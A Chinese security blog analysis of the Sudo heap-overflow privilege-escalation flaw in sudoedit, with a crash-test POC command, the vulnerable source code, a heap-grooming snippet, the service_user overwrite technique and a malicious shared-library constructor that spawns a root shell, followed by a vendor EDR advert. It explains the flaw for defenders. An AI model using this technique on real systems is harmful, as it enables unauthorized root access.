<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    6分鐘帶你剖析 Linux Sudo 高危提權漏洞的研究利用

    VSole2021-12-17 14:32:40

    1漏洞基本信息

    1.1 漏洞簡介

    當 Sudo 通過 -s 或 -i 命令選項在 Shell 模式下運行命令時,它會將命令參數中的特殊字符使用反斜杠來轉義。但使用 -s 或 -i 命令運行 sudoedit 命令的時候,沒有對特殊字符進行正確處理,從而可能導致緩沖區溢出。攻擊者可以利用此漏洞從本地普通用戶權限提權到系統 root 權限。

    1.2 漏洞影響

    • 漏洞類型: 本地提權
    • 漏洞影響范圍:1.8.2 到 1.8.31p2 和 1.9.0 到 1.9.5p1 Sudo版本
    • 漏洞等級: 高危

    1.3 漏洞驗證

    終端輸入 POC 進行檢查:sudoedit -s '\' `perl -e 'print "A" x 65536'`

    若出現 malloc 或段錯誤等崩潰,則可能存在漏洞。

    2漏洞詳情分析

    2.1 漏洞成因

    漏洞主要存在于 plugins/sudoers/sudoers.c 文件的 set_cmnd() 函數中。

    ...    /* set user_args */    if (NewArgc > 1) {        char *to,*from,**av;size_t size,n;/* Alloc and build up user_args. */        for (size = 0,av = NewArgv + 1;*av;av++)        size += strlen(*av) + 1;if (size == 0 || (user_args = malloc(size)) == NULL) {        sudo_warnx(U_("%s:%s"),__func__,U_("unable to allocate memory"));debug_return_int(-1);}        if (ISSET(sudo_mode,MODE_SHELL|MODE_LOGIN_SHELL)) {        /*         * When running a command via a shell,the sudo front-end         * escapes potential meta chars.  We unescape non-spaces         * for sudoers matching and logging purposes.         */        for (to = user_args,av = NewArgv + 1;(from = *av);av++) {    // from指向命令參數            while (*from) {            if (from[0] == '\\' && !isspace((unsigned char)from[1]))                from++;*to++ = *from++;// 將命令行參數拷貝到user_args堆空間            }            *to++ = ' ';}        *--to = '\0';} else {        for (to = user_args,av = NewArgv + 1;*av;av++) {            n = strlcpy(to,*av,size - (to - user_args));if (n >= size - (to - user_args)) {            sudo_warnx(U_("internal error,%s overflow"),__func__);debug_return_int(-1);}            to += n;*to++ = ' ';}        *--to = '\0';}    }...
    

    這里的問題在于如果 from[0] 是反斜杠,而 from[1] 是 null 結束符(非空格),此時滿足 from[0] == '\\' && !isspace((unsigned char)from[1]),所以此時 from 會加1,指向 null 結束符;null 結束符被拷貝到 user_args 堆緩沖區, from 再次加1,from 指向了 null 結束符后面第1個字符(即下一個命令參數);隨后會繼續循環將越界字符拷貝到 user_args 堆緩沖區中去,此時就會發生堆溢出漏洞。

    我們設置命令行參數為 sudoedit -s '\' 1234567890,通過 gdb 來調試跟蹤一下,此時我們的參數是這樣的:

    此時 malloc 的大小應該是 strlen('\\/x00') + strlen('1234567890\x00') =13,然后根據堆內存對齊,申請的堆的大小應該是0x10+0x10=0x20(算上堆頭)。

    當來到數據拷貝的時候,第一個參數是'\',根據代碼會把'\'后面的參數也拷貝進去,因為 from[0] 為'\',而且 from[1] 不是空格(而是 null )就會 from++,而 from[2] 的內容就是下一個參數了,這就相當于'\'后面的參數被拷貝了兩次,造成了堆溢出。

    最終拷貝到堆的內容為:

    很明顯"1234567890"參數被拷貝了兩次,所以這個數據的長度和內容是我們可以控制的,如果這個參數長度足夠長,那么我們就可以覆蓋到堆后面的結構。

    2.2 利用方法簡介

    我們知道在常規的堆棧溢出的漏洞中如果我們需要寫一些通用的 EXP 就必須要繞過系統的某些安全保護,最常見的保護就是 ASLR (地址隨機化),這就可能需要程序有多次與我們交互的地方。但是在這個漏洞當中我們可以交互的地方似乎只有一次,沒有辦法去泄露程序的地址等,所以常規的利用技巧在這里可能不是那么實用,我們就需要一些其他技巧,這個漏洞的其中一種利用技巧是覆蓋 service_user 結構體。

    typedef struct service_user{  /* And the link to the next entry.  */  struct service_user *next;  /* Action according to result.  */  lookup_actions actions[5];  /* Link to the underlying library object.  */  service_library *library;  /* Collection of known functions.  */  void *known;  /* Name of the service (`files',`dns',`nis',...).  */  char name[0];} service_user
    

    service_user 結構體中的 name 指定了要動態加載的動態鏈接庫,如果我們能夠修改 service_user->name 的值,那么我們就能通過 nss_load_library() 函數加載任意我們偽造的動態鏈接庫。

    nss_load_library() 函數:

    static int nss_load_library (service_user *ni){if (ni->library == NULL)    {static name_database default_table;ni->library = nss_new_service (service_table ?:&default_table,   // (1)設置 ni->library                     ni->name);if (ni->library == NULL)return -1;}if (ni->library->lib_handle == NULL)    {/* Load the shared library.  */      size_t shlen = (7 + strlen (ni->name) + 3              + strlen (__nss_shlib_revision) + 1);int saved_errno = errno;char shlib_name[shlen];/* Construct shared object name.  */      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,   // (2)偽造的庫文件名必須是 libnss_xxx.so"libnss_"),                    ni->name),".so"),        __nss_shlib_revision);ni->library->lib_handle = __libc_dlopen (shlib_name);// (3)加載目標庫      …
    

    nss_load_library 作用是載入 .so 文件,nss_load_library(),需要滿足 ni->library != NULL 和 ni->library->lib_handle == NULL 才能加載新庫,也就是我們需要將 ni->library 覆蓋為 NULL,將 ni->name 覆蓋我們自己偽造的庫名字,且偽造的庫文件名必須是 libnss_xxx.so。

    因為我們只有一個堆溢出的漏洞,無法泄露出來基地址等信息,所以根據 Linux 的堆分配的機制,我們在 service_user 結構體的前面釋放一個堆塊,然后讓分配的 user_args 分配到這塊堆塊,之后再使用堆溢出覆蓋到 service_user 結構體。

    2.3 堆分配

    我們的想法是去覆蓋 ni->library 和 ni->name,所以問題的關鍵是如何通過 user_args 溢出到 service_user 結構,而且 user_args 的位置必須位于 service_user 之前,并且兩者的偏移不能太大,否則可能會覆蓋到其他數據結構導致利用失敗。

    Sudo 在開始的時候會調用 setlocale 函數來讀取環境變量中的參數來對程序本地化進行設置,這時候會為環境變量分配和釋放相應的堆塊到 tcache 堆和 fastbin 堆中去,在堆區域初始位置就會產生一些空洞。

    int main(int argc,char *argv[],char *envp[]){…    setlocale(LC_ALL,"");    bindtextdomain(PACKAGE_NAME,LOCALEDIR);    textdomain(PACKAGE_NAME);…}
    

    從 setlocale 函數到分配 user_args 的過程中還會有很多堆的分配和釋放的操作,我們不能精準的控制堆的分配,可以通過控制傳遞給 setlocale 的環境變量來控制 user_args 分配之前的堆布局。但是具體的控制關系是不確定的,如果要找到這些堆的分配關系我們可以通過 fuzz 等方法來進行測試,基本的設置如下可以尋找在初始化 service_table 之前在 bins 中存放一個 size 大小的 chunk 用于占位。

    char *LC = calloc(0x3000,1); strcpy(LC,"LC_ALL=C.UTF-8@");memset(LC+15,'C',size);envp[envp_pos++] = LC;
    

    當找到了合適的堆之后就可以對 service_table 結構進行覆蓋了,然后我們在偽造的 so 文件當中寫入提權代碼那么我們就可以得到 root 權限的 shell 了。

    #include #include #include #include 
    static void __attribute__ ((constructor)) _init(void);
    static void _init(void) {#ifndef BRUTEsetuid(0);seteuid(0);setgid(0);setegid(0);    static char *a_argv[] = { "sh",NULL };    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin",NULL };    execv("/bin/sh",a_argv);#endif}
    

    2.4 總結

    目前仍然有很多 Linux 系統上面還在使用存在此漏洞的 Sudo 程序,及時的將程序更新到最新版本可以降低系統被提權的風險。

    微步在線主機威脅檢測與響應平臺 OneEDR 通過輕量級的終端 Agent

    收集終端的進程、網絡、文件等系統行為日志,在服務端利用威脅情報,文件檢測引擎與全攻擊鏈路行為分析等技術手段,實現對主機入侵的精準發現、自動化告警關聯、攻擊鏈路可視化展示與高效溯源、入侵事件響應及阻斷等功能,同時支持對終端海量行為日志進行靈活檢索。

    OneEDR 支持對這種主機提權方式的檢測,了解更多 OneEDR 信息可訪問:https://threatbook.cn/prod/oneedr。

    linux系統sudo
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于任何 Linux 發行版來說,最理想的安裝方法是二進制方法。我們將使用 curl 工具獲取最新版本,下載然后解壓縮文件以獲得 Nushell 二進制文件。安裝開發人員工具Ubuntu / Debian:sudo?基于 RHEL 的系統sudo yum install libxcb openssl-devel libX11-devel -y. Nushell將在啟動時在您的 PATH中查找插件。雖然Nushell在沒有它們的情況下會有一些功能,但要獲得完整的功能,你需要將它們復制到您的路徑中,以便加載它們。從二進制文件手動安裝在 macOS 系統上運行以下命令來下載 Nushell 的最新版本:cd?切換到創建的用戶帳戶:$?
    對于任何 Linux 發行版來說,最理想的安裝方法是二進制方法。我們將使用 curl 工具獲取最新版本,下載然后解壓縮文件以獲得 Nushell 二進制文件。第 1 步:安裝開發人員工具Ubuntu / Debian:sudo?基于 RHEL 的系統sudo?Nushell將在啟動時在您的 PATH中查找插件。
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    入侵者在入侵成功后,往往會留下后門以便再次訪問被入侵的系統,而創建系統賬號是一種比較常見的后門方式。在做入侵排查的時候,用戶配置文件/etc/passwd和密碼配置文件/etc/shadow是需要去重點關注的地方。查詢特權用戶特權用戶> awk -F: '$3==0{print $1}' /etc/passwd. 查找遠程可以登錄的賬戶> awk '/\$1|\$5|\$6/{print $1}' /etc/shadow. $1:MD5$5:SHA-256$6:SHA-512檢查sudo權限> cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL". 檢查計劃任務利用計劃任務進行權限維持,可作為一種持久性機制被入侵者利用。
    環境變量里,如果直接輸入?不管用的話,就用絕對路徑名的方式:/usr/sbin/useradd?。
    之前一直對 su 和 sudo 這兩個命令犯迷糊,最近專門搜了這方面的資料,總算是把兩者的關系以及用法搞清楚
    作為 Linux 中最常使用的重要實用程序之一,Sudo 幾乎安裝在每一款 UNIX 和 Linux 發行版上,以便用戶調用和實施核心命令。然而近期曝出的一個提權漏洞,卻直指 sudo 的一個安全策略隱患 —— 即便配置中明確不允許 root 用戶訪問,該漏洞仍可允許惡意用戶或程序,在目標 Linux 系統上以 root 用戶身份執行任意命令。
    拿到一臺 linux 主機普通權限之后,如何獲取更高的 root 權限?0x01 查看操作系統信息,內核版本等查看操作系統類型:cat /etc/issue?ls /boot | grep vmlinuz-可以看到當前系統是 64 位。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类